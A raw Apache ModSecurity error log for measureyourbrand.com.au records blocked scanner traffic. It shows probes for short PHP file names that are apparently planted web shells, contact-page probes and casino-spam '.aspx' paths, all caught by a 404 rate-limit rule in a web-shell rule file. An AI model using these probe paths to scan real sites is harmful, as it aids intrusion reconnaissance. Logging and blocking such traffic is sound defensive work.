[Wed Mar 25 20:59:18.352956 2026] [:error] [pid 26321:tid 26348] [client 20.251.61.72:47678] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abca.php"] [unique_id "acPcJvKO65qqGZCSPZpX8QAAAgc"]
[Wed Mar 25 20:59:18.872314 2026] [:error] [pid 26321:tid 26359] [client 20.251.61.72:59358] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abca.php"] [unique_id "acPcJvKO65qqGZCSPZpX9AAAAhI"]
[Wed Mar 25 20:59:19.391161 2026] [:error] [pid 25875:tid 25901] [client 20.251.61.72:54787] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abca.php"] [unique_id "acPcJxJ38QkS3NyfshwchQAAApQ"]
[Wed Mar 25 20:59:19.910769 2026] [:error] [pid 25967:tid 25980] [client 20.251.61.72:61344] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acPcJ_g8Qtq7ZM4mSFlsSQAAA0g"]
[Wed Mar 25 20:59:20.441925 2026] [:error] [pid 25967:tid 25993] [client 20.251.61.72:1920] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acPcKPg8Qtq7ZM4mSFlsSgAAA1U"]
[Wed Mar 25 20:59:20.964225 2026] [:error] [pid 26321:tid 26354] [client 20.251.61.72:54238] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acPcKPKO65qqGZCSPZpX_QAAAg0"]
[Wed Mar 25 20:59:21.548411 2026] [:error] [pid 25967:tid 25995] [client 20.251.61.72:61323] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acPcKfg8Qtq7ZM4mSFlsUQAAA1c"]
[Wed Mar 25 20:59:22.073875 2026] [:error] [pid 26269:tid 26296] [client 20.251.61.72:54702] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acPcKkn7e-ZQbaIs7qzAoAAAAZQ"]
[Wed Mar 25 20:59:22.599087 2026] [:error] [pid 25967:tid 25992] [client 20.251.61.72:45063] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acPcKvg8Qtq7ZM4mSFlsWQAAA1Q"]
[Wed Mar 25 20:59:23.134166 2026] [:error] [pid 47989:tid 47997] [client 20.251.61.72:45737] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acPcKyWKdJMhIccROjn35gAAAUY"]
[Wed Mar 25 20:59:23.658377 2026] [:error] [pid 25967:tid 25981] [client 20.251.61.72:54793] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fde.php"] [unique_id "acPcK_g8Qtq7ZM4mSFlsXQAAA0k"]
[Wed Mar 25 20:59:24.185074 2026] [:error] [pid 25875:tid 25901] [client 20.251.61.72:47628] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fde.php"] [unique_id "acPcLBJ38QkS3NyfshwckQAAApQ"]
[Wed Mar 25 20:59:24.716655 2026] [:error] [pid 25875:tid 25903] [client 20.251.61.72:55450] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acPcLBJ38QkS3NyfshwclAAAApY"]
[Wed Mar 25 20:59:25.239300 2026] [:error] [pid 47989:tid 48000] [client 20.251.61.72:61352] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acPcLSWKdJMhIccROjn39AAAAUk"]
[Wed Mar 25 20:59:25.757073 2026] [:error] [pid 26449:tid 26464] [client 20.251.61.72:45746] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acPcLdpZ2T15NDqzAjGG1QAAAks"]
[Wed Mar 25 20:59:26.293877 2026] [:error] [pid 892:tid 923] [client 20.251.61.72:62224] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acPcLiT_G8WMU3T3yxrb_gAAANg"]
[Wed Mar 25 20:59:26.821044 2026] [:error] [pid 26321:tid 26360] [client 20.251.61.72:55458] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acPcLvKO65qqGZCSPZpYAgAAAhM"]
[Wed Mar 25 20:59:27.348909 2026] [:error] [pid 25875:tid 25894] [client 20.251.61.72:45097] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acPcLxJ38QkS3NyfshwclwAAAo0"]
[Wed Mar 25 20:59:27.867639 2026] [:error] [pid 26321:tid 26350] [client 20.251.61.72:50711] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acPcL_KO65qqGZCSPZpYBgAAAgk"]
[Wed Mar 25 20:59:28.387624 2026] [:error] [pid 26321:tid 26365] [client 20.251.61.72:56021] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acPcMPKO65qqGZCSPZpYCAAAAhg"]
[Wed Mar 25 21:13:00.192286 2026] [:error] [pid 25875:tid 25903] [client 43.166.7.113:35526] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acPfXBJ38QkS3NyfshwiwgAAApY"]
[Wed Mar 25 22:28:24.372558 2026] [:error] [pid 25875:tid 25901] [client 144.225.147.5:41164] [client 144.225.147.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/contact-us/"] [unique_id "acPxCBJ38QkS3NyfshxC_gAAApQ"]
[Wed Mar 25 22:28:25.393369 2026] [:error] [pid 25967:tid 25975] [client 144.225.147.5:41676] [client 144.225.147.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/contactus/"] [unique_id "acPxCfg8Qtq7ZM4mSFmEnwAAA0M"]
[Wed Mar 25 22:28:27.041720 2026] [:error] [pid 756:tid 852] [client 144.225.147.5:41684] [client 144.225.147.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/contact"] [unique_id "acPxCzOaW6oylMIDBCQoKAAAAII"]
[Wed Mar 25 22:28:27.972610 2026] [:error] [pid 25875:tid 25897] [client 144.225.147.5:41698] [client 144.225.147.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/support"] [unique_id "acPxCxJ38QkS3NyfshxDDwAAApA"]
[Wed Mar 25 22:52:18.539142 2026] [:error] [pid 26449:tid 26455] [client 145.239.69.153:40052] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acP2otpZ2T15NDqzAjGU_gAAAkI"]
[Wed Mar 25 22:52:20.913492 2026] [:error] [pid 25967:tid 25983] [client 145.239.69.153:42358] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acP2pPg8Qtq7ZM4mSFmNKwAAA0s"]
[Wed Mar 25 22:52:23.785231 2026] [:error] [pid 25967:tid 25989] [client 145.239.69.153:42368] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acP2p_g8Qtq7ZM4mSFmNLwAAA1E"]
[Wed Mar 25 22:52:26.419120 2026] [:error] [pid 26321:tid 26357] [client 145.239.69.153:42380] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acP2qvKO65qqGZCSPZprHAAAAhA"]
[Wed Mar 25 22:52:28.907839 2026] [:error] [pid 25967:tid 25982] [client 145.239.69.153:42392] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acP2rPg8Qtq7ZM4mSFmNNwAAA0o"]
[Wed Mar 25 22:52:31.344728 2026] [:error] [pid 25875:tid 25882] [client 145.239.69.153:36742] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acP2rxJ38QkS3NyfshxO6wAAAoE"]
[Wed Mar 25 22:52:33.738690 2026] [:error] [pid 756:tid 862] [client 145.239.69.153:36744] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acP2sTOaW6oylMIDBCQpggAAAIo"]
[Wed Mar 25 22:52:36.236499 2026] [:error] [pid 25967:tid 25987] [client 145.239.69.153:36758] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acP2tPg8Qtq7ZM4mSFmNPQAAA08"]
[Wed Mar 25 22:52:38.677336 2026] [:error] [pid 756:tid 874] [client 145.239.69.153:36760] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acP2tjOaW6oylMIDBCQphQAAAJY"]
[Wed Mar 25 22:52:41.106909 2026] [:error] [pid 26269:tid 26282] [client 145.239.69.153:59866] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acP2uUn7e-ZQbaIs7qzH2QAAAYY"]
[Wed Mar 25 22:52:43.537636 2026] [:error] [pid 25875:tid 25901] [client 145.239.69.153:59880] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acP2uxJ38QkS3NyfshxPBgAAApQ"]
[Wed Mar 25 22:52:46.022285 2026] [:error] [pid 892:tid 901] [client 145.239.69.153:59884] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acP2viT_G8WMU3T3yxrm3QAAAMQ"]
[Wed Mar 25 22:52:48.401779 2026] [:error] [pid 25875:tid 25898] [client 145.239.69.153:59900] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acP2wBJ38QkS3NyfshxPEAAAApE"]
[Wed Mar 25 22:52:50.978966 2026] [:error] [pid 25969:tid 26049] [client 145.239.69.153:58118] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acP2whd3aEUmOfdKja8ZmQAAA9c"]
[Wed Mar 25 22:52:53.387528 2026] [:error] [pid 47989:tid 48010] [client 145.239.69.153:58124] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acP2xSWKdJMhIccROjkS3gAAAVM"]
[Wed Mar 25 22:52:55.786052 2026] [:error] [pid 47989:tid 47991] [client 145.239.69.153:58134] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acP2xyWKdJMhIccROjkS4wAAAUA"]
[Wed Mar 25 22:52:58.272904 2026] [:error] [pid 47989:tid 48006] [client 145.239.69.153:58142] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acP2yiWKdJMhIccROjkS7QAAAU8"]
[Wed Mar 25 22:53:00.808435 2026] [:error] [pid 47989:tid 47995] [client 145.239.69.153:55586] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acP2zCWKdJMhIccROjkS9AAAAUQ"]
[Wed Mar 25 22:53:03.353509 2026] [:error] [pid 47989:tid 47994] [client 145.239.69.153:55592] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acP2zyWKdJMhIccROjkTAQAAAUM"]
[Wed Mar 25 22:53:05.878946 2026] [:error] [pid 47989:tid 48011] [client 145.239.69.153:55600] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acP20SWKdJMhIccROjkTFgAAAVQ"]
[Wed Mar 25 22:53:08.242157 2026] [:error] [pid 26269:tid 26294] [client 145.239.69.153:55608] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acP21En7e-ZQbaIs7qzH5AAAAZI"]
[Wed Mar 25 22:53:10.846726 2026] [:error] [pid 25875:tid 25890] [client 145.239.69.153:58532] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acP21hJ38QkS3NyfshxPYwAAAok"]
[Wed Mar 25 22:53:13.143940 2026] [:error] [pid 26269:tid 26288] [client 145.239.69.153:58534] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acP22Un7e-ZQbaIs7qzH5wAAAYw"]
[Wed Mar 25 22:53:15.684424 2026] [:error] [pid 26449:tid 26470] [client 145.239.69.153:58542] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acP229pZ2T15NDqzAjGVJwAAAlE"]
[Wed Mar 25 22:53:36.671782 2026] [:error] [pid 25875:tid 25903] [client 145.239.69.153:58548] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acP28BJ38QkS3NyfshxPmQAAApY"]
[Wed Mar 25 22:53:39.129514 2026] [:error] [pid 26269:tid 26281] [client 145.239.69.153:47084] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acP280n7e-ZQbaIs7qzH9AAAAYU"]
[Wed Mar 25 22:53:41.593688 2026] [:error] [pid 25875:tid 25897] [client 145.239.69.153:40340] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acP29RJ38QkS3NyfshxPnwAAApA"]
[Wed Mar 25 22:53:44.078257 2026] [:error] [pid 25967:tid 25978] [client 145.239.69.153:40346] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acP2-Pg8Qtq7ZM4mSFmNlwAAA0Y"]
[Wed Mar 25 22:53:46.630444 2026] [:error] [pid 25967:tid 25994] [client 145.239.69.153:40358] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acP2-vg8Qtq7ZM4mSFmNngAAA1Y"]
[Wed Mar 25 22:53:49.154768 2026] [:error] [pid 25875:tid 25887] [client 145.239.69.153:40374] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acP2_RJ38QkS3NyfshxPqgAAAoY"]
